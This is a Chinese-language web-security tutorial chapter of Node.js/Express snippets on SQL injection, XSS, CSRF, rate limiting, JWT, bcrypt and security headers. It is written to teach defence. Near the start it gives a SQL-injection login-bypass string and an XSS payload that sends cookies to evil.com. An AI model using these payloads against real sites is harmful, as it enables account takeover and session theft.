第5章 - 网络安全基础

// ❌ 危险!直接拼接SQL
const username = req.body.username;  // 用户输入: admin' OR '1'='1
const password = req.body.password;  // 用户输入: anything

const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
// 实际执行的SQL:
// SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
// '1'='1' 永远为真,绕过密码验证! 💀

db.query(sql, (err, result) => {
  if (result.length > 0) {
    // 登录成功! (但实际是被攻击了)
  }
});

// ✅ 使用参数化查询
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(sql, [username, password], (err, result) => {
  // 参数会被正确转义,SQL注入无效
});

// ✅ 使用ORM(如Sequelize)
const user = await User.findOne({
  where: {
    username: username,
    password: password
  }
});

// ✅ 使用prepared statement
const stmt = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?');
const result = stmt.get(username, password);

// 用户发表评论
comment: '<script>fetch("https://evil.com?cookie="+document.cookie)</script>'

// 存储到数据库
db.save({ content: comment });  // ❌ 直接存储

// 其他用户浏览评论时,脚本会执行,Cookie被窃取! 💀

// 1. 转义HTML特殊字符
function escapeHtml(text) {
  const map = {
    '&': '&',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  };
  return text.replace(/[&<>"']/g, m => map[m]);
}

const safeOutput = escapeHtml(userInput);

// 2. 使用React/Vue(自动转义)
// React
<div>{userInput}</div>  // ✅ 自动转义

// Vue
<div>{{ userInput }}</div>  // ✅ 自动转义

// 3. 设置Content Security Policy (CSP)
res.setHeader(
  'Content-Security-Policy',
  "default-src 'self'; script-src 'self'"
);

// 4. 使用HTTP-only Cookie
res.cookie('session', token, {
  httpOnly: true,  // JavaScript无法读取
  secure: true,    // 只在HTTPS下传输
  sameSite: 'strict'
});

// 1. 使用CSRF Token
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
  // 生成CSRF Token
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/transfer', csrfProtection, (req, res) => {
  // 验证CSRF Token
  // 如果token无效,自动返回403
  processTransfer(req.body);
});

// 前端表单
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="<%= csrfToken %>">
  <input name="to" placeholder="收款人">
  <input name="amount" placeholder="金额">
  <button>转账</button>
</form>

// 2. 验证Referer
app.post('/transfer', (req, res) => {
  const referer = req.get('Referer');
  if (!referer || !referer.startsWith('https://bank.com')) {
    return res.status(403).send('Forbidden');
  }
  // 继续处理
});

// 3. 设置SameSite Cookie
res.cookie('session', token, {
  sameSite: 'strict',  // 严格模式,完全禁止第三方Cookie
  // 或 sameSite: 'lax'  // 宽松模式,允许安全的跨站请求
});

// 4. 双重Cookie验证
app.post('/transfer', (req, res) => {
  const cookieToken = req.cookies.csrfToken;
  const bodyToken = req.body.csrfToken;
  
  if (cookieToken !== bodyToken) {
    return res.status(403).send('CSRF token mismatch');
  }
  // 继续处理
});

// 1. 限流 (Rate Limiting)
const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15分钟
  max: 100,  // 最多100个请求
  message: '请求过于频繁,请稍后再试'
});

app.use('/api/', limiter);

// 2. IP黑名单
const blockedIPs = new Set(['1.2.3.4', '5.6.7.8']);

app.use((req, res, next) => {
  const clientIP = req.ip;
  if (blockedIPs.has(clientIP)) {
    return res.status(403).send('Forbidden');
  }
  next();
});

// 3. 验证码
app.post('/api/login', async (req, res) => {
  // 验证Google reCAPTCHA
  const captchaValid = await verifyCaptcha(req.body.captcha);
  if (!captchaValid) {
    return res.status(400).send('验证码错误');
  }
  // 继续登录逻辑
});

const https = require('https');
const fs = require('fs');

// 读取SSL证书
const options = {
  key: fs.readFileSync('private-key.pem'),      // 私钥
  cert: fs.readFileSync('certificate.pem'),     // 证书
  // ca: fs.readFileSync('ca-certificate.pem')  // CA证书(可选)
};

// 创建HTTPS服务器
const server = https.createServer(options, (req, res) => {
  res.writeHead(200);
  res.end('Hello HTTPS!');
});

server.listen(443, () => {
  console.log('HTTPS服务器运行在 https://localhost:443');
});

// 登录接口
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  
  // 验证用户名密码
  const user = verifyUser(username, password);
  if (!user) {
    return res.status(401).send('用户名或密码错误');
  }
  
  // 创建Session
  req.session.userId = user.id;
  req.session.username = user.username;
  
  // 返回成功(Session ID会自动设置到Cookie)
  res.json({ message: '登录成功', user });
});

// 受保护的接口
app.get('/profile', (req, res) => {
  // 检查Session
  if (!req.session.userId) {
    return res.status(401).send('未登录');
  }
  
  // 返回用户信息
  const user = getUserById(req.session.userId);
  res.json(user);
});

// 登出接口
app.post('/logout', (req, res) => {
  req.session.destroy();
  res.json({ message: '登出成功' });
});

const jwt = require('jsonwebtoken');
const SECRET_KEY = 'your-secret-key';

// 登录接口
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  
  const user = verifyUser(username, password);
  if (!user) {
    return res.status(401).send('用户名或密码错误');
  }
  
  // 生成JWT
  const token = jwt.sign(
    { userId: user.id, username: user.username },
    SECRET_KEY,
    { expiresIn: '1h' }  // 1小时过期
  );
  
  res.json({ token });
});

// 认证中间件
function authenticateToken(req, res, next) {
  const authHeader = req.headers['authorization'];
  const token = authHeader && authHeader.split(' ')[1];  // Bearer TOKEN
  
  if (!token) {
    return res.status(401).send('未提供Token');
  }
  
  jwt.verify(token, SECRET_KEY, (err, user) => {
    if (err) {
      return res.status(403).send('Token无效或已过期');
    }
    req.user = user;
    next();
  });
}

// 受保护的接口
app.get('/profile', authenticateToken, (req, res) => {
  const user = getUserById(req.user.userId);
  res.json(user);
});

// 登录后保存Token
const response = await fetch('/login', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ username, password })
});

const { token } = await response.json();
localStorage.setItem('token', token);

// 后续请求携带Token
const profileResponse = await fetch('/profile', {
  headers: {
    'Authorization': `Bearer ${localStorage.getItem('token')}`
  }
});

const validator = require('validator');

app.post('/register', (req, res) => {
  const { email, password, age } = req.body;
  
  // 验证邮箱
  if (!validator.isEmail(email)) {
    return res.status(400).send('邮箱格式不正确');
  }
  
  // 验证密码强度
  if (!validator.isStrongPassword(password, {
    minLength: 8,
    minLowercase: 1,
    minUppercase: 1,
    minNumbers: 1,
    minSymbols: 1
  })) {
    return res.status(400).send('密码强度不够');
  }
  
  // 验证年龄
  if (!validator.isInt(String(age), { min: 18, max: 120 })) {
    return res.status(400).send('年龄必须在18-120之间');
  }
  
  // 继续注册逻辑
});

const bcrypt = require('bcrypt');

// 注册时加密密码
app.post('/register', async (req, res) => {
  const { username, password } = req.body;
  
  // 加盐加密(10轮)
  const hashedPassword = await bcrypt.hash(password, 10);
  
  // 存储到数据库
  await db.save({
    username,
    password: hashedPassword  // 存储加密后的密码
  });
  
  res.json({ message: '注册成功' });
});

// 登录时验证密码
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  
  const user = await db.findOne({ username });
  if (!user) {
    return res.status(401).send('用户不存在');
  }
  
  // 比对密码
  const isValid = await bcrypt.compare(password, user.password);
  if (!isValid) {
    return res.status(401).send('密码错误');
  }
  
  // 登录成功
  res.json({ message: '登录成功' });
});

const helmet = require('helmet');

// 使用helmet设置多种安全响应头
app.use(helmet());

// 或手动设置
app.use((req, res, next) => {
  // 防止点击劫持
  res.setHeader('X-Frame-Options', 'DENY');
  
  // XSS保护
  res.setHeader('X-XSS-Protection', '1; mode=block');
  
  // 禁止嗅探MIME类型
  res.setHeader('X-Content-Type-Options', 'nosniff');
  
  // CSP
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self' 'unsafe-inline'"
  );
  
  // HSTS(强制HTTPS)
  res.setHeader(
    'Strict-Transport-Security',
    'max-age=31536000; includeSubDomains'
  );
  
  next();
});

const winston = require('winston');

// 配置日志
const logger = winston.createLogger({
  level: 'info',
  format: winston.format.json(),
  transports: [
    new winston.transports.File({ filename: 'error.log', level: 'error' }),
    new winston.transports.File({ filename: 'combined.log' })
  ]
});

// 记录安全事件
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  
  const user = verifyUser(username, password);
  if (!user) {
    // 记录失败的登录尝试
    logger.warn('登录失败', {
      username,
      ip: req.ip,
      userAgent: req.get('User-Agent'),
      timestamp: new Date()
    });
    return res.status(401).send('登录失败');
  }
  
  // 记录成功的登录
  logger.info('登录成功', {
    userId: user.id,
    username: user.username,
    ip: req.ip
  });
  
  res.json({ message: '登录成功' });
});

// 监控异常登录
app.use((err, req, res, next) => {
  logger.error('服务器错误', {
    error: err.message,
    stack: err.stack,
    url: req.url,
    method: req.method,
    ip: req.ip
  });
  
  res.status(500).send('服务器错误');
});